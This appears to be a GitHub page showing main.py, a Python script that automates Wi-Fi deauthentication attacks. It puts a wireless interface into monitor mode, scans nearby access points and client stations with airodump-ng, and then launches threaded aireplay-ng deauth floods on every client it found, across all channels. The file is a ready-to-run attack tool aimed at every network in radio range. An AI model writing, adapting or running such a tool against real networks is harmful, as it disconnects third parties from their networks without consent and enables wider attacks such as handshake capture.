-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
63 lines (51 loc) · 1.62 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
import csv
import threading
# Parameters
IFACE = "wlan0"
airodump_output = "output"
num_packets = 1000
def deauth(BSSID, STATION, IFACE, PACKETS):
if BSSID == " (not associated) ":
pass
else:
for channel in range(1, 12):
try:
print(f"Deauth {STATION} from {BSSID} on channel {channel}...")
os.system(f"airmon-ng start {IFACE} {channel}")
os.system(f"aireplay-ng --deauth {PACKETS} -a {BSSID} -c {STATION} {IFACE}")
except:
print("Channel incorrect")
if __name__ == "__main__":
# Run shell commands
os.system(f"airmon-ng check kill && airmon-ng start {IFACE}") # kills processes to enable monitor mode
os.system(f"airodump-ng -w {airodump_output} --output-format csv {IFACE}") # monitors SSIDs and stations and prints to csv file
# Process csv file
BSSID = []
MAC = []
STATION = []
with open(f"{airodump_output}-01.csv", mode='r') as file:
reader = csv.reader(file)
for row in reader:
if len(row) > 2:
MAC.append(row[0])
BSSID.append(row[5])
for i in range(0, len(BSSID)):
if BSSID[i] == " BSSID":
BSSID = BSSID[i+1:len(BSSID)]
break
for i in range(0, len(MAC)):
if MAC[i] == "Station MAC":
STATION = MAC[i+1:len(MAC)]
break
# Perform deauthetication attack
threads = []
for i in range(0, len(BSSID)):
t = threading.Thread(target=deauth, args=(BSSID[i], STATION[i], IFACE, num_packets))
t.start()
threads.append(t)
for t in threads:
t.join()
# Cleanup
os.system(f"rm -rf {airodump_output}-01.csv") # deletes csv file
os.system(f"airmon-ng stop {IFACE} && systemctl start NetworkManager") # stop monitor mode and restarts Network-manager